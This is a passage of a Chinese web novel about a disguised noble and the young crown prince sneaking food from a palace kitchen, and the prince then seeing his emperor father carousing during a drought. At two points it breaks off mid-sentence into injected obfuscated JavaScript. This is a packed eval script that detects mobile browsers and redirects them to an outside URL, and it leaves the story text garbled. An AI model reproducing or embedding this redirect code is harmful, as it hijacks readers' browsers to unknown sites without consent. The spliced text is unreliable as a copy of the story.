李景川决定自己动手丰衣足食，他走到膳房门口，叉腰对这里面喊道，“小！…” 然而话还未喊出口，便被白肃清打断，“小锤子！你怎么跟过来了？” “你还好意思问！拿了我的钱，还背着我吃独食！”李景川小脸气得红彤彤的。 白肃清不好意思地挠挠头，满是歉意对着陈叶解释起来，“我都说到时候给他带回去的，谁知道他自己跟过来了。真是抱歉，陈叶姑娘。”他倒是不怕陈叶认出川儿是太子，宫女见了主子都是要低头回避的。之前东宫门口一见，陈叶也是立马就低头跪拜，加之自己又将川儿挡住了，她不该认出来。 看着还明显还是个孩子的李景川，才这样大便被送进宫当了太监，着实可怜，陈叶摆摆手，“不要紧，小锤子是吧，进来吃吧，我给你拿筷子和碗。” 李景川这才发现这就是昨日来东宫送吃食的那个宫女，想起自己极有可能暴露身份，浑身又充满了不自在，求助般望着白肃清。 “你看小凳子干什么？他不准你吃？”陈叶疑惑道。 “陈叶姑娘，我可不干这种事。”听到陈叶这样说，白肃清立马回应道，生怕陈叶误会自己。 李景川摇摇头，“没有。” “没有就好，来你坐着。”陈叶还搬来一个小凳子，让他坐下。 见陈叶没有任何异样，应该是没认出自己，李景川放下心来，他坐在小凳子上端着碗，这还是他还是第一次这样吃东西，感觉很奇怪，但是又有些突破规矩的爽感。他从碗中夹起一块期金黄诱人的炸番薯，放入口中。这是他从未尝过的味道，咸甜脆交织在一起，奇妙的口感，李景川睁大了眼，“好吃！” “好吃你就多吃些，我做了很多，呆会让你带些走，当零嘴可好？”陈叶本想着要给李姑姑等人送些，便多做了些，可能还是不够，但没关系，可以从给小凳子的那份中匀一些出来。小孩子贪嘴是正常的，陈叶并未起疑。 听见陈叶还让自己带些走，李景川彻底抛弃了对陈叶的偏见，扬起笑脸，嘴甜甜的，“谢谢姐姐！” 18. 做菜 看着一脸乖巧的小锤子，嘴角还挂着咸蛋黄的碎屑，想起他刚刚气得笑脸红扑扑的模样，陈叶心生怜悯，用帕子轻轻拭去他嘴边的残渣，“小锤子，你说小凳子拿了你的钱是怎么一回事？” 白肃清一听，刚想开口为自己辩解两句，抬眼便看见陈叶警告性地看了一眼自己。很显然，这个时候不适合说话，他只能在心里祈祷李景川不要出卖自己这个小舅舅。 李景川明白今日换太监服的意义就是不暴露身份，他给小舅舅的那可都是金块，哪有小太监随随便便就能拿出金块的？可他实在是有些气小舅舅将他一个人留在廊下，而自己在膳房内享受。这样的话，他给这位姐姐上点小舅舅的眼药不过分吧。 “恩……”李景川沉默片刻，又咬了一口咸蛋黄炸番薯，缓缓道，“姐姐，是我气急说错了话，小凳子平日里对我挺好的，每日主子赏给他的好吃食都有剩些给我吃。” “剩？你给他银钱，他把剩的东西给你吃？”陈叶当即抓住了小锤子嘴里的那个剩字，继续问道。 白肃清听着李景川越说越离谱，他哪里让他吃过剩下的东西？倒是自己，还真吃过他嘴里剩下的。再不澄清估计陈叶要误会自己是那种得了势就仗势欺人的人了，眼下情势紧急，不管陈叶让不让他说他都必须要说了！“陈叶姑娘，你别听他乱讲，他纯纯就是诬陷！诬陷！小锤子！那次吃饭我不是等你一起吃的？你看看你这一身的肉！像是被我亏待过的样子吗！？” 白肃清越说越激动，捏起李景川脸上的肉，试图让陈叶看清楚。 然而陈叶直接“啪”的一声，拍开白肃清的手，“你干嘛？能不能轻点？把人家小锤子的脸都捏红了！” 氛围有一瞬间的宁静。 白肃清震惊地看向陈叶，眼里满是受伤，他根本没用力！ 李景川也没想到陈叶会因为这事直接对自己的小舅舅动手，连忙解释道，“姐姐，是我刚刚说谎了，我气小凳子不带我进来吃东西才那样说的，你别怪他。而且他没用力，你看，我的脸好好的呢！”说着李景川把自己的脸递到陈叶面前，让她仔细看。 听了小锤子的解释，又看到小锤子脸上毫无痕迹后，陈叶略带歉意，看向白肃清，刚好与他幽怨的眼神碰撞到一起，她又不自觉地向下看避开白肃清的视线。却正好瞥到他的手，一个醒目的红印慢慢浮现在手背，好像自己真的打得有些重了。 犹豫片刻，陈叶取来一小块冰，用帕子包住，递给白肃清，“小凳子，真是对不住，要不你敷一下？” 陈叶的帕子与她的名字倒是很符合，淡绿色的，上头绣着一片叶子，很是柔软。 白肃清接过帕子，低下头当着陈叶的面敷了起来。陈叶这点力道与他而言算不上什么，让蚂蚁咬一口都比这痛，还没许太傅十分之一的力道。想到许太傅，他便想起了自己的左手。虽然消了肿，却还是青紫一片，看上去极为吓人。 他极为自然地将敷在右手的帕子敷到了左手手心。 这动作自然也引起了陈叶的注意，见他的手心青紫一片，不由得问道，“小凳子，你的手怎么了？” 白肃清低着头毫不在意，云淡风轻道，“陈叶姑娘，不碍事的，不过是昨日午时迟了些回宫，挨罚了。但比起板子来说，这都是小伤。” 听他这样一说，陈叶就明白了估计是昨日碧云一闹，耽误了他回东宫，结果回晚了便被小国舅罚了。说起碧云会盯上小凳子，陈叶觉得还是与她有些许关系的，心里的愧意便更深了。想着呆会一定要给小凳子多装些吃食，在吃食上弥补他一下。 那位国舅爷也真是的，怎么动不动就罚下人，果真同其他人所说的一样，是个纨绔子弟。 思索着陈叶已经拿起食盒装了起来，一共两碟，“这碟是给你的，这碟是小锤子的。小锤子，你呆会回去了记得在小凳子那里拿。” 知道自己还能有一份，李景川立马抬起头，盯着自己的那份，仿佛要将它的分量记住，以防白肃清做手脚。随即又看向陈叶，放下碗站起身，极为郑重地躬身，就像对待自己的师长一般，“谢过陈叶姐姐！” 他是储君没错，他可也知晓无功不受禄。他既拿了陈叶的东西，那就得道谢。 李景川都如此上道了，白肃清不甘落后也立马躬身，“谢过陈叶姑娘。” 两人如此郑重，陈叶都有些不好意思了，直摆手，“不必不必。哦对了，小凳子，今日可还是要点菜？” “是。”白肃清从袖中掏出一个金块到了放到陈叶手上，“有劳陈叶姑娘了。” 此时茅根竹蔗雪梨水冷得差不多了，陈叶拿出几个小碗，给几人都倒了一小碗，“来，炸物吃多了上火，都喝些饮子下下火。” 事情办完了，饮子也喝过了，白肃清带着李景川告辞离开。 临走之际，彩叶出声，“等一下！” 她走到白肃清面前伸出手，言简意赅，“帕子。” 原本有些疑惑的白肃清恍然大悟，进而惊觉出一身冷汗，连忙将帕子还了回去，“奥奥奥，对！帕子，这呢，谢这位姐姐提醒。”于宫女而言这种贴身之物最忌讳赠与旁人，更何况是自己这样的太监，当真是昏了头了！还好这宫女提醒了自己，否则自己真是害了陈叶。 白肃清离开后，彩叶很是担忧，“陈叶，这两人真的没问题吗？” 陈叶也不敢很肯定得说小凳子没问题，但就从这几次的接触来看，他虽然是个太监，却也算有担当。位卑时不曾阴郁，得势后也不曾仗势欺人，“目前，应当是没问题的。” “人心隔肚皮，陈叶，咱们还是得多注意些。”彩叶没有与白肃清接触过，对他的为人还是不放心。但陈叶都那样说了，她也只能尽量提醒，多多留意。 陈叶给了彩叶一个安心的眼神，“会的。” 接着她又装了一些做好的咸蛋黄炸时蔬并茅根竹蔗雪梨水给李姑姑送去。 另一头，出了尚食局的白肃清与李景川飞奔起来，完蛋了完蛋了，下午是许太傅讲课！又要迟到了！ 李景川使劲蹬着腿，试图跟上前面快步的白肃清，“小舅……小凳子！你等等我啊！” 李景川的声音越来越远，白肃清回头一看，他竟落了一大截。他不可能真把李景川丢在后头不管，便把食盒往李景川怀中一塞，“拿好。”然后双手一搂，将他抱起，快步跑了回去。 还好，白肃清一路的努力没白费，两人气喘吁吁地赶在许太傅进门之前落座。 一下午很快就过去了，白肃清一身疲惫，今日下午武课的强度似乎又加强了些。 李景川更是累得已经走不动道了，但想起尚食局还有美味的食物在等着他，又打起精神，自觉换好太监服，站到白肃清面前开始催促，“小舅舅，我们什么时候出发？” 刚坐下来的白肃清看着同样收到磋磨但依旧精神的李景川，较量之心骤起，自己怎么可能连李景川这么一个小屁孩都比不过，“马上，我换个衣裳就走。” 尚食局，陈叶三人还在讨论今日做出来的菜有哪些不足。 银叶很是沮丧，没想到作为一个吃货，她做出来的菜竟然是乏味的。倒不是她做的不好，只是她觉得自己的菜与陈叶、彩叶二人比起来，有些差距罢了。可陈叶觉得银叶在这方面对自己的要求确实有些太高了，这一点点差距，银叶迟早能补上。 事实上，银叶才是最具做菜天赋的人。她的味觉极为灵敏，午时陈叶做出来的咸蛋黄炸时蔬还是她提出来的有些过咸了，吃多了极为腻口，若是多些像薄荷一样清爽的口感便好了。 就是银叶提出这个想法的一刹那，陈叶的脑海里瞬间就涌现出了青柠味的某事薯片的身影，应当是用柠檬做的吧，要不自己试试呢？ 脑子里刚冒出这个想法，很快又被否定了，还是先按照银叶的想法用薄荷试试看，做一个薄荷盐，不行的话再替换成柠檬。万一两样都好更是一举两得。 不过今日的时间定然是 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“那你觉得什么样的味道才开胃呢？”陈叶真的要佩服死银叶了，无论她提不提醒，银叶也总有一天会把开胃的炒藕做出来的。若不是她看过那样多烹饪教程，定然会被银叶甩的远远的。她还在照葫芦画瓢的阶段，银叶已经开始自己想办法改进了，这难道就是学霸的思维吗？ “酸味！我知道了！加醋或者加些泡菜、酸水应该都可以！”银叶豁然开朗，“明天我就试试！” 李景川跟着白肃清又来到尚食局，他不嫌累，尚食局的氛围比东宫轻松太多了。东宫之内，他是太子，是储君，人人都敬着他，畏着他。而在尚食局，他却是个小太监，可以做许多规矩之外的事，尤其是来尚食局还能带好吃的回东宫。 他也不知道为什么尚食局的人明明能做出那样可口的食物，却不呈上来。不过现在他有自己的法子吃到这些吃食，倒也不希望被更多人知道，以免有人盯上。 门外，听着陈叶她们又在讨论新的吃食如何做时，两人都不自觉咽了咽口水。 这日子过得真是越来越有盼头了，每日都在期待能拿到什么好吃食。 白肃清站在门外出声询问，“陈叶姑娘，吃食可做好了？” 陈叶从里面探出头来，见是小凳子，出来接过午时被带走的食盒，拿出装有今日吃食的食盒递给他，并说出今日的菜谱，“做好了，我拿给你。一个冬瓜肉片汤、一个清炒时蔬，还有一份肉末豆腐。” 陈叶似又想到些什么，叮嘱道，“对了，若是你主子吃不完赏了给你，你就拿这个肉末豆腐拌饭吃，可好吃了。” 至于国舅爷怎么吃，她做不了主。何况世家贵族，个个都是矜贵体面人，哪会用这样粗鲁的吃法？ 趁着陈叶这样说，白肃清嘴里的口水分泌得更甚了，“谢过陈叶姑娘，对了，这是明日的餐钱。食盒我明日下午来取菜时一并带过来可好？” “可以的，这样你也少跑一趟。”陈叶想都没想就同意了，中午少了白肃清的打扰，她又能多学一会了。等等！那她那些读不懂的书怎么办？ 似是看出了陈叶的忧虑，白肃清立马接着道，“那些书上不懂的地方还请姑娘到时多抄一份给我，我回去写好注释再给你带过来，这样就不耽误了。” “好，那就谢谢你了小凳子！”陈叶决定以后每次菜量多做大些，反正只要那个小国舅吃不完，就会赏给小凳子，那这样小凳子也就能多吃些了。 不过小凳子能够跟在国舅爷身边入学堂读书还真是不错，这才几日啊，就能解析能写的，这要不是天天练，哪能这么快就到这个地步？ 忽的，陈叶仿佛想到了什么，难道说，小凳子每日除了伺候国舅爷，还需要帮他写罚抄？如果是这样可不就说得通了嘛！国舅爷向来不着调，被罚抄应该也是常态，那小凳子作为身边的陪侍，可不得帮主子分担？这样抄抄写写多了，小凳子才能记得住，看得懂呀。 不知不觉中，陈叶对那位小国舅的印象又低了几分。 19. 心跳 白肃清与李景川离开尚食局后，一刻也不停地飞奔回东宫，他们已经迫不及待了，尤其是听陈叶说完肉沫豆腐的吃法后，嘴里的口水早已止不住地流。 回到东宫又是一番斗嘴争抢，不过斗归斗，菜倒是吃得极为干净。两人三菜已是足够，桌上其他菜便动得不多，李景川全赏给下人了。 翌日，陈叶趁着得闲，照着银叶的说法，试着用薄荷制作料粉，好给昨日的咸蛋黄炸时蔬增添一些清爽感。 不过薄荷的味道太过霸道，制出来的料粉撒在咸蛋黄炸时蔬上竟将咸蛋黄和时蔬的本味全夺去了，吃完后嘴里只余那股清凉感。 三人依次尝完后一直觉得，用薄荷制作料粉虽然有清爽感，但是太过喧宾夺主了。与其如此倒不如不撒粉，腻了的话多喝两口水便是了。 用薄荷这条路制作料粉的路行不通，陈叶只能将视线又放回柠檬上。 她把柠檬去籽捣碎成汁，再用纱布滤去残渣，留下汁液，随后放进小锅中慢慢熬煮。时间流逝，柠檬的酸香弥漫整个膳房，白色的粉末渐渐析出，柠檬粉做好了。 接下来按照记忆中的味道，在其中加入白糖，碾碎。原本应当再加些盐的，可想到这咸蛋黄已经够咸的了，陈叶就放弃了加盐的想法。 酸甜的料粉撒在刚炸好的咸蛋黄炸时蔬上，咸香和油香中再添一丝幽幽的果香，更加诱人了。 彩叶与银叶正品鉴着，看看还有没有能改进的地方。两人摇摇头，表示已经很不错了，她们暂时想不到还有什么需要改进的地方。 就是这时，白肃清带着李景川来取菜了。 忙起来的话一整日是过得极快的，若不是小凳子带着小锤子来了，陈叶还真没发现已经到黄昏了。不过菜倒是没忘记做，但在给菜之前她还得抓两人来尝个味。 白肃清和李景川两人很是积极，接过筷子就夹起了一块放进嘴里嚼吧嚼吧，没嚼两口，两张脸便同时皱了起来，同步地“哕”了一下。白肃清本想吐出来，但又想这是在尚食局，万一弄脏了还得陈叶来打扫，硬生生地咽了下去。 李景川见自己的小舅舅这么能忍，还以为是有什么禁忌，也不敢吐，忍了下去。 陈叶看着如此同步的两人，实在忍不住，轻轻笑了出来，“你们两个能不能听我说完再动手，这一盘才是让你们尝的，刚刚夹得那盘是做坏了的。” “先歇会喝两口水吧，等嘴里味道淡了再尝。”陈叶给两人各倒了一杯水，眉眼还带着笑意，她算是体会到什么叫做快乐是建立在别人的痛苦之上的了。看着这两人丰富的面部表情变化，着实跟看了一场变脸一样，还是免费的。 白肃清接过水，道谢后，无意间抬眼一看，便呆住了。眉眼弯弯，带着笑意，无论什么时候她的眼里仿佛总是有光一般，亮亮的。 “扑通扑通…”白肃清听到一阵一阵强烈的震动声，是从他的胸腔中传来的，是他的心跳声…… 跳得很快，比平时上完武课还要快。 白肃清觉得自己的心定然是出了问题，不然怎会跳得这样快？ 陈叶递过水便与银叶彩叶收拾膳房去了，没有注意到白肃清久久不曾离开的视线。 李景川喝下一口水，面色不动，扯了扯白肃清的衣袖，把白肃清的神唤了回来，“唔！小凳子，你快尝尝这水，好好喝！” 回过神的白肃清反应过来自己刚刚的失态，又看了一眼陈叶，她背对着他，照旧做着自己的活，还好没被发现，这样盯着一个女子看简直是太失礼了。 李景川还在锲而不舍地让白肃清喝水。 “水有什么稀奇的？”白肃清举起杯子，喝了一口，水是凉的，嘴里本就因吃了薄荷味的咸蛋黄炸时蔬而凉得不行，这一加起来，整个口腔充满了薄荷的凉感。 太冲了，把他的眼泪都逼出来了。 见白肃清尝到了与他一样的滋味，李景川捂着嘴“嗤嗤”地笑了起来，幸灾乐祸道，“小凳子，水好喝吗？” “这水怎么了？”陈叶很是疑惑，她就是单纯地倒了杯水吧，怎么还有好喝不好的的问题？ 她也倒了一杯，喝下一口，很正常，没有一点问题。 “没怎么，水很好。”白肃清为了证明水没问题，又喝了一口。 “那就好。”时间也差不多，陈叶把那盘撒了柠檬粉的炸时蔬端给两人尝，期待两人给出一些建议。 终于可以品尝成功版的吃食了，两人都很兴奋，昨日带回去的炸时蔬已经美味到让两人光盘了，今日的成功版岂不是更加美味！ 两人迫不及待，先后夹起一块放进嘴里。 最外层是柠檬撒粉的酸甜，然后是咸蛋黄的咸香，咬开酥脆的外衣便是时蔬本身的清甜，层次感更加丰富了，味觉上酸甜与咸香对冲，褪去了油腻感，两人眼睛一亮，连话都不说，又夹起一块。 “要不先给个建议？”陈叶尝试打断二人，提醒道这可不是白吃的。 “陈叶姑娘，这已经完美至极了。”白肃清实在找不出什么缺点，但给了另一个建议，“不过炸物上火是肯定的，若要呈到上面去，还是搭配一个与昨日一样的饮子为好，解腻的同时也败火。” “好。”陈叶点点头，示意自己明白了，接着从袖中把抄写着自己不甚理解的词句的信纸交给白肃清，“小凳子，这是昨夜我看得不是很明白的词句，还请你有时间为我解答一二。” “陈叶姑娘客气了，交给我就好。”小凳子接过信纸，放入袖中，拿好食盒，带着李景川离开了尚食局。 “陈叶，那信纸就那样交给他了？他还会还回来吗？”彩叶颇不放心，她也是刚刚看陈叶和小凳子互递书信才想到，宫里多少宫人是被无中生有的书信给害了，虽然陈叶没在里面写什么，可若是有心人就是想拿这事做文章，也是未尝不可的。 陈叶一拍脑袋，懊恼道，“嘶，下次我让小凳子带过来还给我。” 然而不等陈叶提醒，第二日白肃清来拿食盒时，便将陈叶的信纸与他自己写的信纸一同给了陈叶，“陈叶姑娘，这信纸有你的字迹，还是交还与你，你自己保管为妥。至于纸中所写词句，我已悉数做了注解，在另一张纸上。” 小凳子这般细心，陈叶也是未曾想到的，“多些你了，小凳子，呆会给你装些吃食去。”尚食局也拿不出什么别的东西来了，给银子一是怕生分，二是她舍不得，一个月才五两，真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432463|183182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的禁不住造啊，还要买笔墨纸砚，哪怕是最次的，也不便宜。 彩叶和银叶也因此对白肃清放松了些警惕，愿意同他说上两句话。 一连半月，白肃清都带着李景川去尚食局蹭吃蹭喝，彩叶与银叶二人也与这两人熟络起来。尤其是与小锤子，人小嘴甜，颇得银叶的喜欢。陈叶照旧每次做出新菜式都会给白肃清和李景川留一些，让他们尝后给出意见。别说，这两人的口味还真叼，有时是真能给出实用的建议。 天气已经到了一年中最热的时候，旱灾越发严重了，李仲君每日上朝都要听大臣们关于旱灾灾情的汇报，听得实在心烦。下朝后还要被大臣们堵在勤政殿谈论对策。眼看着外头太阳小了些，他也实在是坐不住了，索性将众位来与他议事的大臣抛在勤政殿，自己带着下人跑去御花园的亭子内唤了舞姬与歌女，放松放松。 一整日都被那群大臣堵着，真是烦透了！那些个灾民也是，受灾就受灾，乱跑什么！搞得现在各地都怨声载道，人人自危。 罢了罢了，不想了！那就是他们的命！一连几日都被白经那老头子拘在勤政殿商讨政事，朕已经尽力了！ 白经便是白肃清与白肃云姐弟二人的父亲，当朝国丈，内阁首辅。一生忠君，勤于政事，不曾懈怠。 先帝预感自己大限将至之时，曾在朝堂上对这还是太子太傅的白经托孤，“朕晚年丧子，朕之不幸，国之不幸。然国不可一日无君，立第二子李仲君为太子，还望太傅精心辅佐。诸位大臣，朕知此子不堪大用，但后继无人，若军国大事有不决者，权取白首辅处理。” 朝堂之上诸位大臣听得清清楚楚，心下一惊，这哪是首富？这明明是摄政王啊！这是给了白经堪比摄政王的待遇，便越发敬重起他来。 白肃云一直觉得彼时李仲君已经不小了，哪能叫托孤。何况先帝这样做又何尝没有私心，他给父亲那样高的权位，却不让他有那样高的名位，这何尝不是一种牵制。又将自己赐婚给李仲君，把白家与李仲君绑得死死的，让父亲心甘情愿地为他李家的江山付出一辈子。 这事白肃云是局外人，她看得清楚，可对于一心忠君的白经来说，这番话是对他的信任，他不能辜负先帝的信任。这番话让他鞠躬尽瘁了九年，也让大庸在李仲君的怠政下依旧能延续至今。只是这九年的呕心沥血，除了多生白发，并未得到李仲君的任何感激，反而猜忌之心越发明显，现在已经会偷偷地与他作对了。 但白经虽然心寒，可每每想到先帝的托付，又打起精神替李仲君处理起政事。好在长子白肃山不过二十五，便已经位居刑部尚书之职，乃是当朝最年轻的正二品大员，为其分担了许多难题。 可也正是白肃山这个刑部尚书的职位，李仲君越发觉得白家野心不小。不过还好，白肃清吃喝玩乐样样精通，政事策论一窍不通，让他稍微放心了些。 思及白肃清，李仲君下意识地瞧不上，不过是一滩烂泥，他父亲、兄长、长姐轮番上阵那般教，还是烂泥扶不上墙。要是像白肃清这般的人再多些就好了，朕就可以高枕无忧，不用愁有人觊觎朕的江山了。 李仲君又饮上一口酒，挥了挥手，让舞姬们上前来围着他跳。 20. 计划开始 李仲君饮了酒，兴致高涨，一声令下，歌舞不停，靡靡之音响彻宫闱。 白肃云在得知李仲君将诸位大臣都丢在勤政殿独自一人前往御花园时，便知此人打的什么主意，立刻派人传话给白肃清，让他按计划行事。他只需无意之中带着李景川经过御花园即可，其他的，她会做好一切安排。 武场，白肃清正和林将军对练，小凳子趁着歇息的时间凑到白肃清耳边，将白肃云的话复述了一遍。 白肃清微微点头，屏退的小凳子，继续与林将军对练起来。现下也不早了，待到这堂武课结束了再带川儿过去，否则未免也太刻意了些。何况他这姐夫，寻欢作乐绝对不会片刻即止，不差这一时半会的。只是川儿，希望今日之事对他的冲击不会太大。 “阿清，用心些！”白肃清一个走神，被林将军撂倒在地。 白肃清神色微正，不再走神，“知道了，再来！” 即是武场搏斗，穿着衣裳始终多有不便。打上了头，白肃清衣带一解，露出结实的赤膊，双手抱拳，“林兄，得罪了。” “好兄弟！得罪了！”林将军见白肃清认真起来，也不甘示弱，脱去累赘。 两人不分上下，打了个酣畅淋漓。 直到武课已下，李景川来找白肃清一同去尚食局取吃食，“小舅舅，已经下学啦！” 两人的对打这才结束，林墨拍着白肃清的肩膀，“今日这是怎么了？打得这样凶？” 白肃清不回，穿上衣服，与林墨道别，“今日打得很是尽兴，林兄，明日见。” 林墨挠挠脑袋，不对劲！太不对劲了！这根本不像是尽兴的样子啊！但他苦思冥想也没想出个名堂来。 林家三代从军，个个骁勇。到了林墨这一代，林老将军希望家里能有个舞文弄墨的，不再被人嘲笑门风粗鲁，便给刚出生的孙子取名林墨。望他日后能成个笔墨之才，也好让林家改换门庭，子孙不再过那刀尖舔血的日子。 哪知逼着林墨学了四五年的书，他还是一窍不通，还结识了年纪尚小白肃清，两人一起偷鸡摸狗，吃喝玩乐。眼见这样下去孙子就要废了，老将军一咬牙，把林墨丢进军营历练去了。没想到这一历练，就历练出个年少将军。 既然林墨有这方面的天赋，自己也闯出了个名头，林老将军也不再执着林家改换门庭的事。不过字还是要认的，否则做将领的是个睁眼瞎，岂不是人人都能糊弄。便拘着他每日必写十个大字，岂料林墨连这十个大字都不愿写，当即就要请命前去驻守边境。 林老将军没法了，只得求到皇上那去，让他寻个由头将林墨拘在皇城半年，诗书不通不要紧，只要能多认几个字多写几个字就行。正巧碰上白肃清被送进宫，也要选几个陪练，就这样随手一指，林墨便留在了皇城，成了白肃清的陪练。 白肃清带着李景川回到殿内，换了衣裳，一同走上往日熟悉万分的道路。又结束了忙碌的一天，可以好好享受美食，李景川步伐轻快，满是期待。 不过这路却与往日不同，越走越能听到一阵歌舞欢闹的声音。 “小舅舅，今日宫里这是怎么了？”李景川很是不解，宫里除了重大节日庆典，何曾这样热闹过？母后也并非贪图享乐之人，他也常须背书习武，因而并未看过什么歌舞表演。 “我也不知。”白肃清摇摇头，他打算从与御花园的一墙之隔道上过，让李景川听个声音即可。毕竟川儿还小，而他这姐夫若是兴致上头，不知会做出什么不堪入目的事来。而听声音，就不必顾虑那么多了，川儿只需能分辨出他父皇的声音，知晓他的父皇并非明君即可。 “小舅舅，你不想去看看吗？”李景川满眼好奇，小舅舅想不想看不知道，但他是真想去看看这歌舞。 白肃清僵了身子，回过头对着李景川道，“不想，歌舞有什么好看的，咱们不是还得去尚食局吗？” “可我想，小舅舅你在宫外肯定看过很多歌舞，可我都没看过什么。我们就偷偷看一眼好不好，看完就赶去尚食局”李景川拉着白肃清的袖子，保证到他就看一眼。 然而，一向宠着李景川的白肃清这次并没有纵容他，而是拉着他的手，边走边道，“不行。” 李景川很是失望，本打算就这样被拉走，歌舞之声更盛，他还是禁不住诱惑，如泥鳅般挣脱开，从一处角门寻着歌舞声而去。 白肃清心下一惊，快步跟过去，一把抓住他，小声问道，“你真要看？” 李景川坚定点头，“要看！” “行，那我带你去，你不能再乱跑了。”白肃清妥协了。他是真不想让川儿看见那样不看的场面，可现在自己如果不带他去，他怕是要乱跑，这样的话，还不如自己带他去，还能看着点他。 “好。”李景川也不再挣扎，只跟着白肃清走，小舅舅扮作太监在宫里行走这样久，知道的藏人之处定然比他这个太子多。与其莽撞自己乱跑暴露身份，不如跟着小舅舅既能赏到歌舞，还能不暴露身份，不被母后知道，一举两得。 一路顺畅，白肃清将李景川带到一处假山后头，指着一个小洞，“眼睛凑过去就可以看得很清楚了。” 洞口很小，只有一个眼睛的位置，李景川凑过去，看的倒是挺清楚的，歌女献唱，歌声袅袅入耳，很是动听。一群舞女们则不知是在围着什么，跳着舞。不过身姿很是优美，极具舞动美感。一旁还有乐人演奏，宫人送食。不只是哪位娘娘，阵仗这样大。 李景川很是守信，只看了一眼，过了个眼瘾，便不再把眼睛凑上那小孔，“小舅舅，我看够了，我们走吧。” 今日在堂上，许太傅还在结合当下的旱灾给他讲流民百姓的安顿之策，天不肯降水乃是天意，可事在人为。安顿流民，一在粮、二在水、三在钱，粮水有了，百姓便能吃饭，而钱则是调动这两样的必须之物。这样奢靡，不知费了多少钱，而这些钱，不知能救下流民的性命。他猛地就没了再看歌舞的心情，只想与小舅舅离开这个地方。 白肃清也不知他到底看到了什么，只是语气突然如此低落，应当是看到了不好的东西，牵着他的手便打算带他离开。 不过刚要走出假山，就听到女子黄莺般的呼声。 “哎呀，皇上～您轻些～”，一名舞女被李仲君一拉，坐进了他怀中，舞女似是被扯痛了，撒着娇道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442014|183182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李景川一听，整个人都怔住了，不是哪位娘娘，而是父皇！他现在不是应该在勤政殿与外祖父一同商议灾情事宜吗？怎么会在这里？他心下不敢相信，凑上小孔，围着的舞女已然散去，中心半躺在榻上的正是他的父皇，怀中还搂着刚刚呼痛的舞女。 李仲君多日不近女色，倒也有兴致与舞女多闹一番，“痛了？让朕亲亲就好…”说着便抬起舞女的脸，亲了上去。 白肃清听了这话，本想把李景川拉开，奈何他跟站定了的石头一样，怎么拉也拉不开。 其他舞女见皇上这样对待那名舞女，也不再只是站在李仲君身边，而是一个劲地试图往他身上挤。能不能飞上指头变凤凰可就在这一夕之间，哪还会在意什么礼义廉耻。 李仲君也不恼，多位美人这样争抢他的注意力，他怎么会生气，他高兴还来不及呢！ 随着一名舞女为夺取皇上的视线亲手脱去自己的衣裳，其他舞女也开始效仿，一时之间场面极为不堪。 李景川脸色都变了，抓紧白肃清的手，“小舅舅，我们走！” 他不是没听到过宫人谈论自己的父皇，但寥寥几句，不足以让他让在心上。直到今日亲眼看见这样的场面，他的父皇大庭广众之下、青天白日之时做出这样的事。勤政殿的臣子，还在等他一声令下，外头成百上千的流民更是性命系于他手上，他却将这一切抛于一旁，耽于享乐。 这就是我的父皇，这大庸的……皇帝吗？ 李景川一路失神，被白肃清带着走。 膳房，陈叶将食盒递给白肃清，又用油纸包了些炸的鸡柳，塞给李景川，“来，小锤子，这个给你当零嘴。” “谢过姐姐。”李景川躬身道谢，或许是陈叶看他小，这些时日总是时不时给他塞零嘴。每一样都美味可口，引得他口水直流，可今日他竟然没有丝毫食欲。 陈叶只觉得小锤子今日精神不大好，猜想是今日当差累着了，只道，“不必客气，回去好好休息一下，你看看累得你眼睛都没神了。” “小凳子，怎么说小锤子也还小，别给他安排那么累的活。” 白肃清知道不是因为活累，不过李景川这样子确实令人担忧，“我知晓了，多谢陈叶姑娘提醒。” 东宫，膳食都摆上桌了，李景川却迟迟不动筷。 自假山出来后，他就不怎么讲话。 白肃清也不知道怎么安慰他，只能搂住他的肩，“川儿…” “小舅舅，你早就知道我父皇是那个样子对吗？” “我知道。” “其实我也早该知道的，但我根本没放在心上。难怪母后不喜父皇，你也不甚喜欢他，若换做是我我也不喜。” 白肃清静静听着李景川的话，没有否认自己与阿姐不喜欢李仲君的事实。 “小舅舅，我是这样的人的孩子。你会讨厌我吗？”李景川小心翼翼地问。小舅舅是外祖父的孩子，外祖父为了百姓，为了整个大庸，费尽心血，无人不敬无人不爱。而他，是这样一个满宫唾弃的昏君的孩子。 他……真的有些怀疑自己身边的人对他夸奖、善意都是假的。 21. 暴露 李景川的话一字一字砸进白肃清的心里，想来今日这场面对他的冲击还是太大了些，他怜爱地摸摸李景川的头，“川儿，我们所有人都是爱你的，你无需怀疑自己。你是他的孩子，可你同样也是阿姐的孩子，你乖巧早慧，不骄纵不任性，对上恭敬对下宽厚。我们对你的喜爱无关你的身份，而是在于你身上拥有的这些品质。外祖还有许太傅他们常夸你有仁君之风，也是因为这些。” 听着白肃清这番话，李景川终于忍不住了，扑进他的怀里，失声痛哭，眼泪一点一点浸湿他的衣裳，很快便湿了一大片。 白肃清无言，默默地轻拍他的背。 良久，怀中想起闷闷的声音，“小舅舅，我以后不点菜了，让膳房也别送那样多菜过来。” 白肃清一顿，“为何？” “我其实根本就吃不了那么多菜，咱们两个人三个菜就够了。我少吃一点，把钱全捐给那些流民，他们就能多吃些，说不定就能活下来了。”李景川从白肃清怀中抬起头，红红的眼里全是对自己这些天奢侈浪费的痛苦与悔恨。 